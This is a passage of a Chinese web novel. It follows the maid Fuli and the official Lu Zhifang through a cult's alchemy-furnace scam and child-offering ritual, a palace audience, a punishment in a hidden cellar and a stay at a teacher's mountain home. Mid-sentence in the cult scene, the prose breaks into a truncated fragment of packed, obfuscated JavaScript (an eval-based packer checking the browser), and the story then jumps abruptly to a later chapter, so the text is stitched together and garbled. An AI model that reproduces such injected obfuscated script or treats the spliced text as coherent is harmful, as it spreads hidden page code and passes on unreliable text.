轮到的男子穿一身绫罗衫,手指上翡翠扳指绿得醒目,忙不迭将两张银票塞了进去,屏住呼吸。 身后人群跟着一静,炼丹炉的小口漆黑,蓦地,吐出了三张银票。男子眼睛一亮,连银票并手上翡翠扳指,再加上鼓囊囊的荷包,一股脑塞进去。 炼丹炉小口吞了这些,飞出来一锭银元宝。 男子接住,再等大半天,没了动静,“没了?就没了?我的扳指都不止这个钱啊!”他大掌拍在炼丹炉上,一下两下,想要把银票都拍出来。 第三下还没落,被个壮汉一把钳住。 “他对仙鼎大不敬,把他扔出去!” “他简直罪大恶极!” 他回神,对上一双双狂热骇人,几乎要择人而噬的眼睛,急忙高举双手。最先用两个铜板换来金元宝的人,衣衫褴褛,正朝着炼丹炉的方向哐哐磕头。 能说什么呢?自认倒霉呗。 馥梨混在人群里。 随着每个人身上的银钱或多或少地投进去,她被挤到了炼丹炉前。她从小布包里头摸出来两个铜板,“神月圣教,解厄众生,请赐我一个长得好,脾气好,前程好,家境也好的四好夫君。” 她双眸晶亮,把铜板郑重地塞了进去。 “嗬,才给两个铜板,发这么大的愿。” “小姑娘,这是点石成金的仙鼎,你要求姻缘,等会儿普度天师来指点迷津,你再问吧。” 信众里有人嘲笑,有人指点。 馥梨没理会,双手合十,静静看那丹炉小口。“啪嗒”,里头飞出来一颗小石头,砸在她脑门上。 她懵了懵。 “哈哈哈!你没戏了!我来!” 人群哄笑,她很快被新来的人挤开了。 再过了两刻钟,几乎所有人都在炼丹炉投了钱。 知客僧忽而进来,拿铜锣敲响三声,“吉时已到,普度天师将为尔等解厄。” 人群如潮水,被炼丹炉分开两拨,又再汇聚到了唯一称得上殿宇的旧屋前。里头光线昏暗,烛火明灭,一座金身观音像在烟雾缭绕里若隐若现。 约四十出头,戴玄冠,着青褐道袍的人走出。 “是普度天师!” “天师!我家遭了厄运啊,你一定要救救我。” 作弟子打扮,平冠黄帔的几人身形魁梧,将信众与普度天师隔开来,“师父只为有缘人解厄。” 普度天师目光冷静,扫视全场,指了其中一人。 馥梨顺着他的指向看去,正是从炼丹炉得了两锭金元宝的人。那人走到普度天师跟前叩首,“我是杨柳村的庄稼汉仲天庆,我媳妇得了怪病,大夫说每日都要花好几十两银子的汤药费吊命,还没剩下几年命了。天师救救她啊!” “你叫她把符水喝下,不出一个月就能痊愈。” 普度天师从袖中拿出一张符纸,食指并中指一指,那符咒骤然自焚,冒起幽青焰光。他嘴里念念有词,将快燃尽的符咒投入水钵中。 人群议论纷纷,“天师施法了!” 仲天庆两眼定定看着水钵,恨不得马上生出一双翅膀,把水钵送回家,给他媳妇喝下去。 一旁弟子拿了个功德箱来,“心不诚,则愿不遂。”没有说添多添少,仲天庆却忙不迭掏了口袋,把两锭金元宝都丢了进去。他算过那些汤药费了,真治一年下来,两锭金子都不够。 他如愿换来飘着符灰的水,小心翼翼护着走了。 馥梨隐在人群里,看得整张脸都皱起来。 普度天师又随手指了几人,或是画符烧灰,或是道出解厄的特殊方法,或是提醒改变家中布置。功德箱收取有多有少——心不诚,则愿不灵。 “今日解厄到此为止。” 他作疲惫状,摆摆袖。 人群遗憾地离去了一部分,还剩下一部分,多为老弱妇孺,少数也有年轻的,共同点是都带着孩子。 ——来了。 馥梨认真观察,孩子里女多男少。有的孩子一看就是杨柳村的,皮肤经年日晒,呈健康色泽,衣裳打满了补丁,有的不止皮肤白皙还衣衫精致,但脸上表露一种病恹恹的神态,似不太清醒。 她看着看着,不期然对上了一张充满恨意的眼。 有个男人神色憔悴,眼睛布满了红血丝,揣着手躲在角落,兽一般的目光看向了普度天师。 普度天师的弟子将剩下的教众请入殿。 她脚步慢慢挪过去,只见观音座下有一堆纸折的莲花,颜色不一。 “观音娘娘慈悲,愿收有缘童子为座下弟子,以庇护其族人福禄寿永昌。你们有愿意的可以送来一试。作为结缘礼,会赠予功德箱的一部分钱财。” 普度天师话落,便有老妇带面黄肌瘦的女童来。 普度天师示意弟子取出一朵莲花,放到女童手上。女童哭丧着脸,被老妇狠狠一推,“快去!家里好几张嘴快吃不上饭了,你跟着观音娘娘修炼享福,还能庇护家人,还推三阻四了。” 女童颤巍巍的手举起莲花,朝着观音像的方向供奉,半晌,什么都没有发生。 “你家孩子与观音娘娘无缘分,下一位。” 普度天师的弟子示意二人走开。 老妇人脸拉下去,“就是个赔钱货!” 新来的是个满脸贪婪的中年男子,牵着个脸颊饱满、蹒跚学步的女娃娃,女娃娃连纸莲花都举不稳,还得靠像是她爹的男人托着。 那轻飘飘的白莲花,在现场所有人的注视下,如变戏法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人还没跑到定隰山的山脚,遇见了形容狼狈的荆芥。木樨脸色大变:“怎么只有你一个?” 荆芥一路卯着劲用最快速度来,喉头都是腥气:“爷,岳守信潜入了集会,同天师起了冲突,还认出来刑部和我们的人,将我们暴露了。” 这次只是潜伏,不是正式抓捕,虽然外部有支援,但里头的人手并不够。荆芥能全须全尾地出来,是他本事大,其他人…… 陆执方踩着马镫,背对日落。 荆芥只看到个轮廓,看不清他眼神。 “继续说。” “当时神像砸落,情况混乱,属下回过神来,馥梨姑娘已经同孩童一起……被那群人劫走了。” 荆芥语调干涩,他很少办砸差事。 陆执方似笑了一下,“回、过、神、来。”他重复的是他话里的几个字,一字字砸得荆芥心惊。 “爷……”荆芥说不出话来,快要跪下去。 陆执方马蹄越过他,“现在不追究,带路。” 荆芥将他们领到神月教众人逃散的方向,是个通往大路的岔路口。“刑部和兵马司在定隰山外接应的人手去追了。属下跟他们汇合后,就来找爷了。” 道路有尘土,只有左边有凌乱的马蹄印,右边没有。理应是走左边,木樨和荆芥连马头都调了过去。 陆执方催马而去,又顿住,右边太干净了,不止马蹄印,连半个脚印和车辙印都没有。 他忽而调转方向,拐去右边跑开了一小段。 路旁一棵树的分枝有个新鲜断口。 是痕迹被刻意清理过了,马后拖着一捧树枝。 浅褐色的泥地,有一点白,圆圆的,像一颗白玉菩提珠。陆执方下马捡起来,看清楚了上头云纹。 “就顺着这个方向找。” 荆芥和木樨跟在他身后。 荆芥目力好,很快看到了第二颗。 第三颗。 陆执方手里攥的菩提珠越来越多,掌心里干的是土,湿的是汗。一颗一颗,攥得手背骨节发白。 快过年了,静思阁给仆役的红封多,小厨房做的年夜菜也丰盛。小姑娘还没拿到,还没尝过。 他连给她的红封上画什么图案都想好了。 没事的,就再等等我。 40-50 第41章 “你也可以,喊我小梨儿…… 陆执方不是第一次被召进御书房。 自他被陛下点为探花郎后,入了大理寺从底层做起,一路勤勉升到少卿位置,已有好几次经手查官员贪墨的大案,被陛下在散朝后留在御书房问询。 这一次来,却是因为他的无心之举。 御案一侧的紫檀龙纹三屏风小宝座上,云梦公主已恢复日常华美装束,一双明眸笑吟吟看向他。 宣帝将手中奏疏放下,看了云梦一眼,口中有嗔怪之意:“朕说已着人去镇国公府聊表谢意,云梦非要当面谢你,这才把陆少卿召进来这一趟。” “滴水之恩当涌泉相报,仅是送些身外之物,怎么成?”云梦巧笑倩兮,抚了抚那身逶迤拖地的牡丹薄水烟长裙,对着陆执方的方向一礼,“云梦在此谢过陆少卿搭救之恩。陆少卿不止是免去了我的麻烦,还是免去两国邦交起龃龉,功劳可大着呢。” 陆执方让半步:“随手为之,殿下不必记挂。” “陆少卿,接下来的春猎,你会去的对吗?” 云梦没有在意他不冷不热的态度,靠近一步问,眸子扑闪扑闪地在观察这个冷面郎君。 每年春猎,五品以上的文官武将都能够参加,不过有些文臣骑射不怎么样,拼不过武将,也不爱凑热闹,是以总是找借口推脱。 云梦是想陆执方去的。 他在前朝,她在后宫,又不能日日这样召进来闲话家常。可陆执视线始终盯着御案下的锦毯:“臣骑射技艺平平,大理寺公务还忙,历年都是不去的。” 此话一出,气氛仿佛凝滞了一瞬。 陆执方能感受到来自宣帝的视线威压。 云梦公主愣了愣,没有发火,再细细打量他,从那张俊俏的皮囊看到衣衫打扮,视线忽而被他的腰带吸引了去。时下青年郎君流行佩戴玉佩、折扇、香囊、玉石雕刻的宝剑挂坠,佩戴绢花的很少。 那绢花色泽素雅,同他今日衣袍相衬,不仔细看还看不出来。云梦眯了眯眼,看清楚了上头淡白色的绣花,“陆少卿这腰饰好生别致啊。” “是心仪女郎的物件,臣擅自珍藏了。” “是哪家姑娘?” 云梦笑吟吟的表情不变,未见怒色,反而起了兴致。陆执方看了一眼宣帝的方向,“回禀殿下,婚姻之事未定,臣说出来,恐怕污了女儿家的清誉。殿下同为女子,应当能够体谅。” “你把人家手帕纸别腰上,就不怕毁了她清誉?”宣帝冷冷一笑,想发作,偏想到了陆执方叫护卫救了云梦的功劳。陆敬家的这臭小子就是故意的。 朱砂笔掷到了案上。 “啪”一声,在落针可闻的御书房里分外刺耳。 镇国公府里,陆敬和苗斐就在前堂等儿子回来。 “这都去了快两个时辰了,怎么还没出来?” “夫人坐定了等,走来走去,晃得我眼晕。” 苗斐可定不下来。 昨夜父子俩说完后,陆敬就黑着一张脸来了清夏堂,同她说了陛下召执方进宫的真正用意,让她留意皇城适龄贵女的功夫都先停一停。苗斐当下应了,在夜里垫高枕头,想到的却是陆执方给她捶背那次。 陆敬不过问内宅事,心里都是朝堂与权势,并不知道儿子同个婢女厮混的事情。再说,就是知道了,在他心里估计也不是大事,成婚前把人打发了就是。 苗斐犹豫了一瞬,终究是没有把事情说出来。 她勉强坐定,听见一阵急匆匆的脚步声,是高扬,“大老爷,大太太,世子爷回来了。” 没过一会儿,瞧见一道天青色的挺拔身影,步履从容地靠近,儿子好端端的,手脚齐全,走路稳健,看起来没有脑子懵了拒婚,惹得圣上大怒吃板子。 苗斐松了一口气,陆敬的心却吊起来。 “父亲,母亲。” “陛下召你进宫,都说什么了?” “主要是云梦公主在说,陛下并未同儿子讲太多话,”陆执方知道父亲最关心的是什么,“除却昨日送到镇国公府上的物件,陛下还赏了儿子另一样。” 陆敬的喜色还未浮到脸上,陆执方的话音补上:“特准儿子半月不必去大理寺点卯。” 陆敬愣怔了数息:“那可有说这半月要你做什么?陪云梦公主玩乐?” 陆执方摇头:“没有。” 这同闭门思过有什么差别? 陆敬的脸色终究是沉了下来,“你到底和云梦公主说了什么,惹得陛下如此生气?” 陆执方沉默不语。 “陆执方。” “不说?那你同陆家的列祖列宗去说!” 上一次见列祖列宗的牌位,是新岁祭拜。 陆执方在祠堂守门人的注视下,一步步迈进去。 他面色平静,伸手触到了神龛底下的机关。机关转动,角落藏在阴影里的石砖打开,露出了更浓重、更伸手不见五指的黑。 皇都高门大宅,都有隐秘的地下室,有的甚至有密道,为了防止战乱或抄家这样的祸事,能保存子嗣的一线生机。镇国公府的地下室,保存的不是生机。 陆执方迈开脚,新净的宝相纹缎靴踏入石阶,一步步从香火明亮的祠堂,隐入冰凉死寂的地下。 他在幼年曾经困惑,害怕突然变得严厉的父母亲,害怕鬼神,害怕病重到脱相的兄长的亡魂。 他费了很大劲才明白,压着他的,从来不是天资聪颖却早夭的兄长。 但现在不一样了。 腰间的绢花早被他摘下,叠成小方块,捏在掌心里摩挲,生出暖意来。人若是知道了自己为何受苦,往往就不觉得苦了。陆执方完全走入了地下室,守门人转动机关,石阶徐徐合上。 祠堂香火安静燃烧,照亮了揩拭得一尘不染的陆家列祖列宗牌位。祠堂外,春日灿烂喧嚣,透过树影流淌出深深浅浅的碎金光芒。 陆执方仿佛没来过,凭空从这个人间消失了。 陆执方寝屋的灯,到子时都没再亮起。 第一夜没有亮起,直到第二夜,天幕挂起了冷冷弦月,都没有再亮起的意思。馥梨甚至找不到木樨和荆芥打探消息,他们在第一夜的白日就忽然都出去了。馥梨沐浴完,待着她的屋子里,独自踱了两圈。 她提上了风灯,往畅和堂去。再回来时,脚步一顿,倏尔望见陆执方的屋里亮了灯,荆芥守在门外。 馥梨快步走近去,荆芥伸手把她拦下了。 她也没想闯进屋门,“是世子爷回来了吗?” 荆芥点头。 屋里的陆执方的声音淡淡:“怎么了?” 馥梨一愣,很多话涌到了嘴边,却不知最先出口的要问哪一句。世子爷进宫去是见公主吗?为何消失了一夜两日才回来?消失的这些时候,在做什么? 独自一人时游移不定的猜测和患得患失,在听见陆执方的声音后,霎时间消失,取而代之的,是新的冲动。她当着荆芥的面,忍着羞赧,问了出口:“你还好吗?我想进屋去看看。” 荆芥一听,摸了摸鼻尖,闪身退到了馥梨看不见的地方。门扉内,陆执方静了一会儿才回答,“现在不方便,我准备沐浴了。” 沐浴的小净室在主屋西侧,同陆执方里屋不连通的。有什么好不方便的,他就是只穿单衣出来,她也都看过了。馥梨抿抿唇,站着没动。 一门之隔,陆执方也在看她投落在隔扇门的剪影。那剪影一晃,似乎走开了。他松一口气低头,门扉猝不及防被推开来,对上馥梨一双明澈的杏眼。 屋内灯火比平日里黯淡许多,灯轮上只有两盏。 两盏,足够馥梨看清楚陆执方眼角眉梢的疲惫。他像是操劳奔波了好几日,容色恹恹,连总是梳得一丝不苟的鬓发都有一丝凌乱。外衫半褪,露出素绢中单,勾勒一副清薄骨架。 “世子爷。” 陆执方有些无奈,眸光对上她的。 “那日我同你遇见,在街上被纠缠的,原来不是肖家女郎,是云梦公主。昨日宫里来人是为了这事,将我召进宫里去,也是为了这事。” “陛下或许有促成的意思,我已设法拒了。” “父亲知晓,罚我跪了两日一夜的祠堂。” 青年郎君的语气轻描淡写,似是在叙述一件再平常不过的事情,不疾不徐将外衫完全脱下,“真要去沐浴了,还想跟着伺候不成?” 馥梨踮了踮脚,手掌抚上他肩后,中衣不干爽,甚至还凉凉的,顺着肩线去摸手臂和手指,陆执方的指尖也凉。她想到了他们去地牢看闻人语后,陆执方那一身的冷汗。 两日一夜,跪的不是祠堂。 “世子爷快些去沐浴吧,别着凉了。” 馥梨很快让开了门的位置。 小净室里,一灯如豆。 浴桶热水冒着袅袅白烟,飘着辟秽去寒的艾叶。陆执方整个人浸泡进去,热水暖融融,将地下室陈旧腐朽的气息都洗刷了干净。 他像是重归人间。 身后传来脚步声,是来替他沐发的南雁。 陆执方放松地靠着浴桶边缘,感觉有一只手轻轻柔柔地取下了他的发冠,解开他缠绕的发髻,慢慢疏通。陆执方一愣,南雁动作也轻,但没有这般细致。 他修长的颈脖往后仰,对上了馥梨的脸。 “怎么进来的?” “我同南雁说,我要进来,他就走了。” 整个静思阁都以为,她已是世子枕边人。 馥梨把他脑袋推回去,发髻解完,通顺完,再用木瓢勺起一勺温水,从发尾开始淋,徐徐浸没到发顶,很小心地,擦拭去从他眉骨滑落到脸颊的水珠。 热水淹没到陆执方胸口,雾气和艾叶掩盖,馥梨只看到了他的锁骨和肩膀,覆盖着薄薄的肌理。 她移开了视线,用香胰子给他净发。 陆执方湿漉漉的手从水里伸出来,精准地绕到脑后,扼住了她的。浸泡在热水里的手指,灼烫温热。 “不必做这些。” “就像世子爷说的,做了,我心里好受。” “愧疚之人才需要好受,你不需要。” 陆执方强硬地攥住她的手腕,拉到自己面前,将她掌心那块香胰子取出,一下子丢到浴桶里。香胰子落入水中,落入她绝不可能伸手去捞的深处。 馥梨手指在他面前蜷缩起来。 陆执方将她掌心贴在脸侧,摩挲了一下。 他疲惫依旧,温柔依旧。 “馥梨,或者迟霓,要怎么称呼?” “是我陆执方想要你,是我想娶你,有些代价,理应由我来付。” 馥梨听得默然,想起的是见胥垣和沈霜月那日。 其实,沈霜月不止问了她同陆执方的关系,还颇不赞成地提醒过她——“你同九陵身份悬殊太大,即便他有心为你谋划,流言蜚语难免会落到你头上。我多管闲事,不是想拆散你俩,是以过来人身份提醒,此事最难不是门第偏见,不是诛心谣言,是只有一人在坚持。你若没做好准备,趁早回绝了九陵。” 她想过了的,陆执方何时放弃,她何时放弃。 但现在她不这么想了。 她不想只有陆执方一个人在憧憬和坚持。 馥梨另一只手,从陆执方的左肩上伸过去,扣住自己的手腕,从身后俯下,松松环住了他。 “世子爷可以叫馥梨,我入府是高扬管事安排的,他让识字的丫鬟从名册上自己选名字。我母亲姓馥,我本名迟霓,小时候学说话,口齿不清,经常把自己名字念成‘吃梨’,爹娘就喊我小梨儿。” “世子爷也可以,喊我小梨儿。” 柔嫩的脸颊贴着他的,轻轻柔柔的说话声音透过共鸣,在水汽缥缈里,直接传到他的身体里。 陆执方忽而转了个方向,将她拽过来。 馥梨一下失了重心,双手扶着他肩膀,领口心口位置的衣裳沾了水,很快被蔓延上湿热的感觉。春衫清薄,湿了之后,好像直接贴上了青年郎君蓬勃结实的身体,还有激越的心跳。 净室不适合亲吻,再分开时,人有些迷糊。 有什么在她眼前一晃,白影掠过。 是陆执方扯过木施上他原本要换的中衣,裹到了她身上,将她一把推远了些。她还有些失神。 “世子爷?” “回去收拾,好了后,叫南雁送新中衣来。” 陆执方用最后的克制,哑声嘱咐。 少女明净玉靥上挂了些微水珠,不明所以地拢着他的中衣,湿润服帖的衣襟凌乱,露出一片雪色,还颇为体贴问他:“要小厨房再重新烧些热水来吗?” 倒盆冷水还差不多。 陆执方深吸了一口气,拒绝得斩钉截铁。 “不必。” 第42章 “要不要认我?”…… 宣帝令陆执方赋闲半月,原话是“不必去大理寺点卯”。陆执方闭门不过三日,就收拾常用物件、书册,带馥梨去了滦贤山小住。 “世子爷,这样会惹得陛下和大老爷不高兴?” “债多不压身,他们本就不高兴了。再说去拜会老师,在父亲看来是正经事。” 胥垣虽然是致仕的半隐退状态,滦贤山仍然在皇城外一日可往返的距离,太子殿下至今在朝堂上遇到棘手难题,也习惯出宫来拜会昔日恩师,遑论是胥垣曾经栽培过,已官居高位的几个门生。 毕竟开国以来,能连中三元的,只胥垣一人。 这次他们带着行囊,没在半山腰再遇上胥垣。 菜畦旁的野地里,胥垣正在挖荠菜,鲜嫩柔绿的一茬茬,无需精心耕作也能蓬勃生长。他远远见陆执方几人,拍干净手里泥土,“你莫非被罢官了?” “不至于。”陆执方失笑,指了指行囊包袱,“我们来叨扰老师和师娘,借住几日。” 胥垣又去看馥梨。 馥梨替沈霜月处理过药材后,有了对比,沈霜月就开始嫌弃他和小僮弄得不细致。这来得正是时候。 “师娘呢?” “昨日刚收了一批晾晒的药材,正忙着分切。” 灵秀可爱的小姑娘对上他意有所指的目光,很是殷勤,将包袱皮子递给陆执方,细声细气地问:“世子爷,我想去帮沈大夫切药材。” “去吧。”陆执方自然地把那包袱拎好。 这一次,瞧着比上次相处更有默契了。 胥垣又蹲下去,“包袱快放到一旁,帮我把这些荠菜都挖出来。”他身前这一片野地都是荠菜。 陆执方估算了片刻,“老师这里来客人了吗?”全挖出来,不止是他们几人的食量。老师不喜浪费,即便是贱得卖不上价的野菜。 “来得可多了,还是我使唤不动的。” “殿下来了?” 胥垣没应,只催他干活。 果然,收拾完毕,陆执方去到主屋,便见有身材精悍的青壮男人,各自隔了一段距离,将主屋团团围住。他与胥垣要靠近,护卫道一声得罪了,来搜他的身,确认没有暗藏凶器,才侧身放行。 屋门推开,茶香袅袅,一人坐在茶座旁。 男人气度沉稳,长相酷似宣帝,英俊威仪,即便低眉敛目地冲茶,也有一股不怒自威的气势。 正是当朝太子,宣帝的嫡长子高舸。 高舸听见脚步声抬头,见了陆执方亦一愣,随后亲切地喊了他的字:“九陵。” “太子殿下。”陆执方要行礼,被高舸止住,“此处是老师居舍,无须多礼。” 高舸比陆执方年长几岁,两人拜在同一师门。 昔日胥垣还未请辞时,府邸设在皇城,两人既有师兄弟之义,便有了朝堂之外的交往。 然而,宣帝正是老当益壮,不喜朝臣过分逢迎东宫,陆执方同高舸的君子之交,当真也点到为止。 茶案旁的方几上,摆了好些宫里送的东西。 陆执方等胥垣坐下后,在下首落座,瞥了那些物件一眼,过分隆重了,不似寻常探望。 “孤提早来给老师送寿礼。老师大寿当日是春祭,孤恐怕分身乏术,赶不上来贺寿了。” 高舸给胥垣和陆执方推去亲手冲泡的热茶。 几人续了旧,高舸就春闱放榜,同胥垣讨论首榜进士里,何人可用,又谈及南方春汛,洪水影响周边农田、村庄和城镇,导致作物受灾、房屋损坏和百姓伤亡,户部正在想办法弄银子赈灾。 “这几日,太子妃正在筹备义卖,邀请皇城高官富户解囊,捐献珍宝。老师与九陵可要支持一二?” 高舸与太子妃青梅竹马,商议对策也不忘游说。 胥垣在书法上有大成,陆执方在书法出类拔萃,也是得胥垣指点的缘故。可惜,胥垣已许久不替人提字,传闻民间有富商建新宅邸,拿了千金登门求墨,连胥垣的面都没见着。 “蓬门陋舍,哪里有珍宝可解囊,不过近日得了一副画作,珍藏许久,倒是可以拿出来义卖。” 胥垣将茶一饮而尽,起身招呼高舸与陆执方去书房。高舸一入书房,就见正墙原先挂着的山鹰花石图不知何时被换下,挂上了另一幅意境清雅的山水画。 高舸留意看了,画是好画,却没有辨认出是哪位名家所作,落款只得一个梨字。要是就这么拿去拍卖……恐怕难以难起价。 他正想开口询问,听得胥垣吩咐陆执方。 “九陵把画拿下来,替我磨墨。” 画卷取下,铺开在长条案上,胥垣挑了一支笔,竟就在山水画底下的空白处题跋,一气呵成落了名姓,再从暗屉中取出印章,正儿八经地落下了钤印。 高舸想开口的心便打消了。 义卖还未开始,他已经能预想到这幅画拍出的高价。胥垣的墨宝不多,胥垣流传于世的私人藏品更少,一同出名的,还会是这位名不见经传的画师。 墨迹晾干,高舸吩咐护卫将画卷收好。 胥垣瞧着时辰差不多,挽起衣袖往厨房去,书房里转眼剩下高舸和陆执方。 高舸早知他被迫赋闲一事的缘由,语气里有淡淡抱怨:“你就非得驳了云梦不成?一场春狩而已。” “臣实话实说,历年都是不去的。” “你去,完了孤在父皇面前替你说几句话。父皇惜才,很快便能气消了。” “殿下……” 陆执方没说话,面上表情将意思传达得分明。 高舸理了理袖子,“是上次闹得不欢而散,云梦还想见你一面,说有话要问。我这个皇妹,不是爱纠缠的人,你好好同她说道清楚,她还能死缠烂打吗?陆执方,你就是看在孤的面子上。” 最后一句话,已然区分开了君与臣。 小厨房炊烟袅袅,鲜美可口的饭菜备好了。 小僮端来了两人份到药房这头来,给沈霜月和馥梨,“先生那里来了客人。”沈霜月知道太子来是要商议重要的朝堂事,懒得去逢迎,只招呼馥梨吃饭。 “我还差最后一点,沈大夫先用吃吧。” 少女埋首案头,一手捏着一株羊蹄草,一手运笔在纸面上勾画,单薄的背影透着乖巧文静。 沈霜月脚步轻轻,来到她身后。 编写草药典籍,配图所画,准为先,美为次。 纸面之上,羊蹄草的茎与分枝、下部卵形叶、上部抱茎而生的叶面与叶背、花序与结果,都按照阐释说明,精准表现了特质,再兼顾植物的优美形态。 草药典籍覆盖了几千种草药,沈霜月也时常怀疑,自己能否在有生之年编撰出初稿。 有馥梨帮忙,无疑快很多。 馥梨感觉有什么在动自己的发髻。 她画完最后一笔,侧头发现是沈霜月,沈霜月手刚触到她,表情僵了一下,手收回去,“吃饭吧。” “好。” 她同沈霜月坐到桌边,沈霜月吃饭时鲜少言语,但给她夹了一筷子菜。馥梨眉眼弯弯,道了声谢。 在滦贤山的日子很平静,比在静思阁还平静。 馥梨不用替陆执方收拾打理寝屋,只要给沈霜月打下手,采药、清理、晾晒、切药、编写草药典籍。 很多时候,沈霜月去采药,不是某种药材用完,而是为了编写。同一种植物采好几棵,带回去辨析形态,记录特点,再相应配图。是以费力费时,时常会逛遍了某座山,都没找到某一种要编写的药草。 这日里,馥梨跟着她,还有杂役小僮去了滦贤山西侧的那座小山。运气不错,打算采的好几种药材都找到,还差一种叫五裂黄连的,常长在密林下阴处。 眼看日头有西落迹象,沈霜月比以往更早地决定回去。她一个老妇人带着小僮无事,带着娇俏漂亮的小姑娘,遇见歹人了就是祸事。 几人一人一箩筐在背上,走着走着,却在山坡下凹陷处,看见了长得像五裂黄连的植物。 沈霜月疑心自己看错,正凝着目光,已听见馥梨语带惊喜:“沈大夫,看那里,就是我们要找的。” 她点头,扎起了裙裾,“我下去看看。”话刚说出口,就看见了馥梨和小僮不赞同的眼神。 小僮稚声稚气:“我手脚灵活,我去。” “采摘要保存根须,茎叶完整,你做不好。” 沈霜月摆摆手,别的草药还好,五裂黄连难找,瞧着只有那么一小片,要是弄坏了,还得再漫山遍野地碰运气。她刚要迈开脚步,馥梨已先她一步,走到山坡下凹处,斜着大半个身子探下去。 “我来吧,沈大夫放心,不会弄坏的。” 那片下凹地势陡峭,稍不留神就会滚下去,幸而四处长了疏松树木,可以扶着。 馥梨出门时,身上换了沈霜月给的粗布衣裙,不怕剐蹭,小心翼翼来到那丛五裂黄连生长处,解下了箩筐放到稍微平整的地面,按着沈霜月的要求,仔细把此地的五裂黄连都采摘了,放入箩筐里。 沈霜月看得提心吊胆,正要松一口气,山坡凹陷处突然蹿出个狸奴大小的,似鼠非鼠的动物,把馥梨吓了一跳。少女一声低呼,脚下一滑,人影就消失在沈霜月和小僮的视线里,滚入地势更低矮处。 沈霜月着急喊了两声,“馥梨?馥梨?” 馥梨没回答。 “下去看,别等了。” 正当她和小僮亲自下去看时,馥梨颤巍巍的声音再传来:“沈大夫,我没事,不、不用下来。” 藕色粗布裙裳再次出现在视线里,少女扶着斜坡的树干,慢慢爬上来,拾起留在地上的箩筐,艰难地来到他们面前。沈霜月和小僮齐齐伸手把她拉上来。 馥梨形容狼狈,身上多处有刮擦痕迹,就连脸蛋上都有细细的血丝,眼睛却亮晶晶的,“还好方才把箩筐解下来,不然就跟我一起滚下去了。” 沈霜月没接话,去按她手脚关节。 馥梨原地给她蹦了好几下,“沈大夫,我真没摔坏,就是小石子硌了几下。” “别乱动!”沈霜月语气严肃起来。 馥梨霎时定住了,乖乖任她检查。沈霜月确认她无事后,脸色才算缓过来,抱走了馥梨的篮筐不叫她背了,“赶紧回去,天要黑了。” 走的时候,一路也无话。 沈霜月好似回到了馥梨第一日见的时候,沉默,严肃,身上笼罩着难以接近的气质。 馥梨大着胆子,去扯了扯她的衣袖,“沈大夫,箩筐我可以自己背的。” 沈霜月没答话,唇抿成了一条线。 “沈大夫?”她扯着那袖子晃了晃。 “沈大夫,我背上好像有些痒,是不是滚在地上碰到棘麻草了?”小姑娘的声音嘀嘀咕咕,软糯糯,手艰难地反过去,够自己的后背,偏生碰不着。 “哪里痒?” “就这、这儿……” 沈霜月把箩筐放下,去摸她纤弱的背,隔着薄薄的衣衫,没摸出太明显的红肿来,“不像棘麻草。”倏尔,手摸空了,馥梨一步蹿开去,抱起地上的箩筐就小跑,跑开了一段距离,确认沈霜月不会追来后,才自己重新背上。 “沈大夫,我真的无事。” 夕阳被树影分割的碎金,好似也落入她明亮清澈的眼眸里,“要是沈大夫去摘五裂黄连受伤了,耽搁的是需要你看诊的病人、等着你编写的草药典籍,有好多人会受累。”馥梨掰着指头数,“要是我受伤了,能顺理成章躺着休息,世子爷也不会扣工钱。” 沈霜月唇动了动,不知说什么。 走到她面前时,衣袖又给馥梨轻轻拉了一下。 沈霜月吐出一口浊气,那郁闷散了,抬手摘下了她发髻的一片叶子,“你这花脸模样,叫九陵看见了定要怪我没看顾好你。” 馥梨没镜子,看不到自己此刻模样,闻言用双手摸了摸脸颊,终于露出个惨兮兮的表情来。 滦贤山主屋里。 陆执方等到过了胥垣说往常师娘回来的时间,正打算去寻人时,却见只有沈霜月回来。 “师娘,她呢?” “采药累了,回房歇着。” “我去看看。” “你回来。” 沈霜月把人喊住,小姑娘爱俏,回来看见脸上刮出了好几道细血丝,哪里想此刻见到陆执方。 陆执方脚步定住,面上表情仍是想去看。 沈霜月一指桌案:“我渴了。” “师娘喝茶。”陆执方倒了一杯温茶,不过片刻听见沈霜月问,“我听胥垣说了,你想请他当保山?那馥梨那头怎么安排?” 她不等陆执方回答,自顾自说下去,眼神冷静而犀利,“你想给她一个稍微说得过去的身世,最好是找官宦之家的老夫人,将她认作义女。找比你等阶高的官,你需要欠人情和利益,找比你等阶低的官,只要利益,但风险更大。” 沈霜月放下了茶盏,语气有点恨铁不成钢: “你都敢厚着脸皮找胥垣当保山,怎么就不能脸皮再厚一点,要求多一些?这样还愁没有良媒吗?” 陆执方脸色一怔,“师娘意思是……?” “我同你老师没有孩子,因为我年轻时,在隆冬出诊不甚跌落了冰湖,就算调理好身子也难怀上。”沈霜月眼眸黯淡了几分,“其实有一次是怀上了的,但没保住。我自己诊脉看过了,是个女孩儿。” 沈霜月少言寡语,很少同他说起这等私事。 陆执方一直以为是沈霜月觉得妇人生产、养育会分走她扑在医术一道上的时间精力,是以没有同老师生养小孩。此刻他正在消化中,沈霜月已把黯淡神情收敛了,盯着他眼眸问:“过一阵是你老师大寿,山庄会开放迎客。你替我问问小姑娘的意思,要不要认我?沈家的官场关系,她是用不上了,但为人母亲该当给女儿的爱护,我沈霜月不会少给她一分。” 第43章 情字就是,再狼狈也觉得…… 巴掌大的铜镜上,映着人脸上细细的血丝。 左边眉骨上一道、右边脸颊上一道、左边唇角上还有拐了弯儿的一道,整张脸就像被狸奴抓过一遍。 馥梨拿着沈霜月给的草药膏,挖出一坨,手指抹上去,淡青草色的油膏覆盖,顿时脸上更精彩。 “不会留疤,药膏抹着睡一觉,明日就痊愈。” 这是沈霜月给她药膏时的叮嘱。 馥梨很信任沈霜月,阖上盖子,就要吹灭房里的灯,早些上床歇息。忽地,有人轻轻在敲门。 “馥梨。”是陆执方沉静的声音。 她捏了捏衣袖,“世子爷,这么晚了有何事?” “晚吗?戌时都不到。” “我换过寝衣打算睡了,有什么事你同我隔门说。”她靠近了些,走到门扉后,听他声音更清楚。 陆执方那头沉默了片刻,不满地啧了一声。 “你把灯吹灭了,我进屋里说。” 